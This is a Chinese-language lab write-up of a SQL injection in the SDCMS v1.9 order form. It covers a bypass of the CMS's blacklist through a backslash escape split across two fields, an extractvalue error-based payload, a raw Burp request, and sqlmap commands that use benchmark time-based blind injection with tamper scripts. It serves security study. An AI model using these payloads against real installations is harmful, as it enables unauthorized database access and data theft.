1.漏洞注入點分析(黑名單 )
2.注入payload構造(雙參數構造,sqlmap繞過)
新增賬號後發現網站有線上留言功能,可以檢視能否注入
但是沒有兩個連在一起的可控參數,無法利用成功
繼續往下檢視
檢視F函數
#F函數(get和post)
function F($a,$b='')
{
$a=strtolower($a);
if(!strpos($a,'.'))
{
$method='other';
}
else
{
list($method,$a)=explode('.',$a,2);
}
switch ($method)
{
case 'get':
$input=$_GET;
break;
case 'post':
$input=$_POST;
break;
case 'other':
switch (REQUEST_METHOD)
{
case 'GET':
$input=$_GET;
break;
case 'POST':
$input=$_POST;
break;
default:
return '';
break;
}
break;
default:
return '';
break;
}
$data=isset($input[$a])?$input[$a]:$b;
if(is_string($data))
{
$data=enhtml(trim($data));//過濾資料
}
return $data;
}
分析發現最後傳遞給了data變量
enhtml函數内容
*stripslashes函數去除加的*
檢視黑名單函數
複制出來然後看哪些字元可以繞過
function filterExp($a)
{
return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|\'|\\|\.\.\/|\.\/|load_file|outfile/i',$a))?'':$a;
}
此處的\過濾對\過濾失效,在php中應該使用\\來過濾\。
我們可以考慮使用\進行sql注入
\\->轉義後成為了一個\
\\\\->轉義後成為了兩個\\, \\反斜杠才是字元意義上的\,其中一個是用來轉義的\
update,seleep函數被過濾,可以考慮extractvalue()報錯函數,和benchmark()時間盲注函數
雙參數插入繞過單引号注入
條件:兩個參數必須連接配接在一起
'abc','127.0.0.1'
第一個參數加\ 第二個參數payload
'abc\' 'payload'
\'将原來用于閉合的'轉義為字元串單引号。'abc和payload前的'閉合。最後執行payload
繼續尋找有兩個連在一起的可控參數
檢視路由,進入order函數頁面
但是sdcms.php是加密的,無法檢視。可以通過浏覽器浏覽頁面來猜測路由
寫入測試代碼測試是否為此子產品
頁面無顯示
檢視order方法位于哪個控制器
然後在order方法中寫入測試代碼
根據以上猜測構造url
http://127.0.0.1/sdcmsv1.9/?c=index&a=cate&classid=1
http://127.0.0.1/sdcmsv1.9/?c=other&a=order
檢視order函數猜測可能是一個下單的處理函數,是以登入背景添加一個産品再做嘗試
明天繼續
然後使用者登入頁面點選訂購抓包
burp進行sql注入嘗試
構造payload
檢視insert語句插入了多少字段
address=a&remark=a
需要注入的兩個點
插入語句是INSERRT INTO sd_order(pro_name,pri_num,pro_price,orderid,truename,mobile,address,remark,ispay,isover,createdate,postip,userid) VALUES(1,2,3,4,5,6,payload1,payload2,9,10,11,12,13)
INSERT INTO sd_order(adress,remark) VALUES ('','')
payload1為 1\
payload2為 , 1 and extractvalue(1,concat(0x7e,(select user()), 0x7e)),1,1,1,1,1)#
使用Burp進行sql報錯嘗試。
sqlmap進行注入
11.txt内容
POST /sdcmsv1.9/?c=other&a=order&id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 61
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/sdcmsv1.9/?c=index&a=show&id=1
Cookie: PHPSESSID=1gj026jd6r1p2sll0uecm4hmu5
truename=a&mobile=15012345678&pronum=1&address=a\&remark=,1 *,1,1,1,1,1)#
使用sqlmap
1.
python sqlmap.py -r 11.txt --dbms=mysql --technique=T -v 3
#--technique是指定注入的技術——時間盲注 -v3 顯示詳細資訊
2.
python sqlmap.py -r 11.txt --dbms=mysql --technique=T --test-filter=benchmark --tamper=between,greatest -v 3 --batch
#--test-filter=benchmark自定義payload裡邊的檢測函數,由于sleep被過濾,用benchmark
#tamper腳本between替換>,繞過htmlspecil函數
#greatest腳本大于号替換為greatest
總結
- 此sql注入第一次在burp報錯注入的時候,檢視報錯日志後發現雖然sql注入成功,但是錯誤資訊會被cms系統統一顯示,無法利用報錯注入。
- 利用sqlmap的tamper,和替換sleep函數,可以進行時間盲注。